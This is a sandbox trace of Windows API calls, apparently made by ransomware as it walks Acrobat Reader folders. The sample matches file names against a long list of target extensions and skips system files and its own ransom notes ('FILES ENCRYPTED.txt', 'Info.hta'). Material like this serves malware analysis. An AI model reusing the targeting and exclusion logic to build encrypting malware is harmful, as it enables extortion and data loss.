	[0178.385] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0178.385] lstrlenW (lpString=".asm") returned 4
	[0178.385] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".asmx") returned 5
	[0178.385] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0178.385] lstrlenW (lpString=".asp") returned 4
	[0178.385] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".aspx") returned 5
	[0178.385] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0178.385] lstrlenW (lpString=".asr") returned 4
	[0178.385] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".asx") returned 4
	[0178.385] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".avi") returned 4
	[0178.385] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".avs") returned 4
	[0178.385] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".backup") returned 7
	[0178.385] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0178.385] lstrlenW (lpString=".bak") returned 4
	[0178.385] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".bay") returned 4
	[0178.385] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".bd") returned 3
	[0178.385] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0178.385] lstrlenW (lpString=".bin") returned 4
	[0178.385] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".bmp") returned 4
	[0178.386] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".bz2") returned 4
	[0178.386] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".c") returned 2
	[0178.386] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0178.386] lstrlenW (lpString=".cdr") returned 4
	[0178.386] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".cer") returned 4
	[0178.386] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".cf") returned 3
	[0178.386] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0178.386] lstrlenW (lpString=".cfc") returned 4
	[0178.386] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".cfm") returned 4
	[0178.386] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".cfml") returned 5
	[0178.386] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0178.386] lstrlenW (lpString=".cfu") returned 4
	[0178.386] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".chm") returned 4
	[0178.386] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".cin") returned 4
	[0178.386] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".class") returned 6
	[0178.386] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0178.386] lstrlenW (lpString=".clx") returned 4
	[0178.386] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0178.386] lstrlenW (lpString=".config") returned 7
	[0178.386] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0178.386] lstrlenW (lpString=".cpp") returned 4
	[0178.387] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0178.387] lstrlenW (lpString=".cr2") returned 4
	[0178.387] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0178.387] lstrlenW (lpString=".crt") returned 4
	[0178.387] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0178.387] lstrlenW (lpString=".crw") returned 4
	[0178.387] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0178.387] lstrlenW (lpString=".cs") returned 3
	[0178.387] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0178.388] lstrlenW (lpString=".css") returned 4
	[0178.388] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".csv") returned 4
	[0178.388] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".cub") returned 4
	[0178.388] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dae") returned 4
	[0178.388] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dat") returned 4
	[0178.388] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".db") returned 3
	[0178.388] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0178.388] lstrlenW (lpString=".dbf") returned 4
	[0178.388] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dbx") returned 4
	[0178.388] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dc3") returned 4
	[0178.388] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dcm") returned 4
	[0178.388] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dcr") returned 4
	[0178.388] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".der") returned 4
	[0178.388] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dib") returned 4
	[0178.388] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dic") returned 4
	[0178.388] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0178.388] lstrlenW (lpString=".dif") returned 4
	[0178.388] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0178.389] lstrlenW (lpString=".divx") returned 5
	[0178.389] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0178.389] lstrlenW (lpString=".djvu") returned 5
	[0178.389] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0178.389] lstrlenW (lpString=".dng") returned 4
	[0178.389] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0178.389] lstrlenW (lpString=".doc") returned 4
	[0178.389] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0178.389] lstrlenW (lpString=".docm") returned 5
	[0178.389] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0178.389] lstrlenW (lpString=".docx") returned 5
	[0178.389] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0178.389] lstrlenW (lpString=".dot") returned 4
	[0178.389] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0178.389] lstrlenW (lpString=".dotm") returned 5
	[0178.389] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0178.389] lstrlenW (lpString=".dotx") returned 5
	[0178.389] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0178.389] lstrlenW (lpString=".dpx") returned 4
	[0178.389] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0178.389] lstrlenW (lpString=".dqy") returned 4
	[0178.390] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".dsn") returned 4
	[0178.390] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".dt") returned 3
	[0178.390] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0178.390] lstrlenW (lpString=".dtd") returned 4
	[0178.390] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".dwg") returned 4
	[0178.390] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".dwt") returned 4
	[0178.390] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".dx") returned 3
	[0178.390] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0178.390] lstrlenW (lpString=".dxf") returned 4
	[0178.390] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".edml") returned 5
	[0178.390] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0178.390] lstrlenW (lpString=".efd") returned 4
	[0178.390] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".elf") returned 4
	[0178.390] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".emf") returned 4
	[0178.390] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".emz") returned 4
	[0178.390] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0178.390] lstrlenW (lpString=".epf") returned 4
	[0178.390] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".eps") returned 4
	[0178.391] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".epsf") returned 5
	[0178.391] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0178.391] lstrlenW (lpString=".epsp") returned 5
	[0178.391] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0178.391] lstrlenW (lpString=".erf") returned 4
	[0178.391] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".exr") returned 4
	[0178.391] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".f4v") returned 4
	[0178.391] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".fido") returned 5
	[0178.391] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0178.391] lstrlenW (lpString=".flm") returned 4
	[0178.391] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".flv") returned 4
	[0178.391] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".frm") returned 4
	[0178.391] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".fxg") returned 4
	[0178.391] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".geo") returned 4
	[0178.391] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0178.391] lstrlenW (lpString=".gif") returned 4
	[0178.392] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".grs") returned 4
	[0178.392] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".gz") returned 3
	[0178.392] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0178.392] lstrlenW (lpString=".h") returned 2
	[0178.392] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0178.392] lstrlenW (lpString=".hdr") returned 4
	[0178.392] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".hpp") returned 4
	[0178.392] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".hta") returned 4
	[0178.392] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".htc") returned 4
	[0178.392] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".htm") returned 4
	[0178.392] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".html") returned 5
	[0178.392] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0178.392] lstrlenW (lpString=".icb") returned 4
	[0178.392] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".ics") returned 4
	[0178.392] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".iff") returned 4
	[0178.392] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".inc") returned 4
	[0178.392] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0178.392] lstrlenW (lpString=".indd") returned 5
	[0178.392] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0178.392] lstrlenW (lpString=".ini") returned 4
	[0178.393] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".iqy") returned 4
	[0178.393] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".j2c") returned 4
	[0178.393] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".j2k") returned 4
	[0178.393] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".java") returned 5
	[0178.393] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0178.393] lstrlenW (lpString=".jp2") returned 4
	[0178.393] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".jpc") returned 4
	[0178.393] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".jpe") returned 4
	[0178.393] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".jpeg") returned 5
	[0178.393] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0178.393] lstrlenW (lpString=".jpf") returned 4
	[0178.393] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".jpg") returned 4
	[0178.393] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".jpx") returned 4
	[0178.393] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString=".js") returned 3
	[0178.393] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0178.393] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.393] lstrlenW (lpString=".GTF") returned 4
	[0178.393] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0178.393] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.393] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0178.393] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0178.393] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0178.393] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0178.394] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0178.394] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0178.394] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0178.394] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0178.394] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\da-dk\\ui-strings.js") returned 141
	[0178.394] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0178.394] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0178.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.394] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0178.394] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\de-de") returned 127
	[0178.394] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\de-de") returned 1
	[0178.394] lstrlenW (lpString="de-de") returned 5
	[0178.394] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="de-de") returned -1
	[0178.394] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5090050
	[0178.394] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\de-de") returned 127
	[0178.394] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\de-de\\*", lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0178.394] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.394] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0178.395] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.395] lstrlenW (lpString=".1cd") returned 4
	[0178.395] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0178.395] lstrlenW (lpString=".3ds") returned 4
	[0178.395] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0178.395] lstrlenW (lpString=".3fr") returned 4
	[0178.395] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0178.395] lstrlenW (lpString=".3g2") returned 4
	[0178.395] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0178.395] lstrlenW (lpString=".3gp") returned 4
	[0178.395] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0178.395] lstrlenW (lpString=".7z") returned 3
	[0178.395] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0178.395] lstrlenW (lpString=".accda") returned 6
	[0178.395] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0178.395] lstrlenW (lpString=".accdb") returned 6
	[0178.395] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0178.395] lstrlenW (lpString=".accdc") returned 6
	[0178.395] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0178.395] lstrlenW (lpString=".accde") returned 6
	[0178.395] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0178.395] lstrlenW (lpString=".accdt") returned 6
	[0178.395] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0178.395] lstrlenW (lpString=".accdw") returned 6
	[0178.395] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0178.395] lstrlenW (lpString=".adb") returned 4
	[0178.395] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0178.395] lstrlenW (lpString=".adp") returned 4
	[0178.395] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0178.395] lstrlenW (lpString=".ai") returned 3
	[0178.395] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0178.395] lstrlenW (lpString=".ai3") returned 4
	[0178.395] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".ai4") returned 4
	[0178.396] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".ai5") returned 4
	[0178.396] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".ai6") returned 4
	[0178.396] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".ai7") returned 4
	[0178.396] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".ai8") returned 4
	[0178.396] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".anim") returned 5
	[0178.396] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0178.396] lstrlenW (lpString=".arw") returned 4
	[0178.396] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".as") returned 3
	[0178.396] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0178.396] lstrlenW (lpString=".asa") returned 4
	[0178.396] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".asc") returned 4
	[0178.396] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".ascx") returned 5
	[0178.396] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0178.396] lstrlenW (lpString=".asm") returned 4
	[0178.396] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".asmx") returned 5
	[0178.396] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0178.396] lstrlenW (lpString=".asp") returned 4
	[0178.396] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".aspx") returned 5
	[0178.396] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0178.396] lstrlenW (lpString=".asr") returned 4
	[0178.396] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0178.396] lstrlenW (lpString=".asx") returned 4
	[0178.396] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0178.397] lstrlenW (lpString=".avi") returned 4
	[0178.397] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0178.397] lstrlenW (lpString=".avs") returned 4
	[0178.397] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0178.397] lstrlenW (lpString=".backup") returned 7
	[0178.397] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0178.397] lstrlenW (lpString=".bak") returned 4
	[0178.397] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0178.397] lstrlenW (lpString=".bay") returned 4
	[0178.398] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".bd") returned 3
	[0178.398] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0178.398] lstrlenW (lpString=".bin") returned 4
	[0178.398] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".bmp") returned 4
	[0178.398] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".bz2") returned 4
	[0178.398] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".c") returned 2
	[0178.398] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0178.398] lstrlenW (lpString=".cdr") returned 4
	[0178.398] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".cer") returned 4
	[0178.398] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".cf") returned 3
	[0178.398] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0178.398] lstrlenW (lpString=".cfc") returned 4
	[0178.398] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".cfm") returned 4
	[0178.398] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".cfml") returned 5
	[0178.398] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0178.398] lstrlenW (lpString=".cfu") returned 4
	[0178.398] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0178.398] lstrlenW (lpString=".chm") returned 4
	[0178.399] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0178.399] lstrlenW (lpString=".cin") returned 4
	[0178.399] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0178.399] lstrlenW (lpString=".class") returned 6
	[0178.399] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0178.399] lstrlenW (lpString=".clx") returned 4
	[0178.399] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0178.399] lstrlenW (lpString=".config") returned 7
	[0178.399] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0178.399] lstrlenW (lpString=".cpp") returned 4
	[0178.399] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0178.399] lstrlenW (lpString=".cr2") returned 4
	[0178.400] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".crt") returned 4
	[0178.400] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".crw") returned 4
	[0178.400] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".cs") returned 3
	[0178.400] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0178.400] lstrlenW (lpString=".css") returned 4
	[0178.400] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".csv") returned 4
	[0178.400] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".cub") returned 4
	[0178.400] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".dae") returned 4
	[0178.400] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".dat") returned 4
	[0178.400] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".db") returned 3
	[0178.400] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0178.400] lstrlenW (lpString=".dbf") returned 4
	[0178.400] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".dbx") returned 4
	[0178.400] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".dc3") returned 4
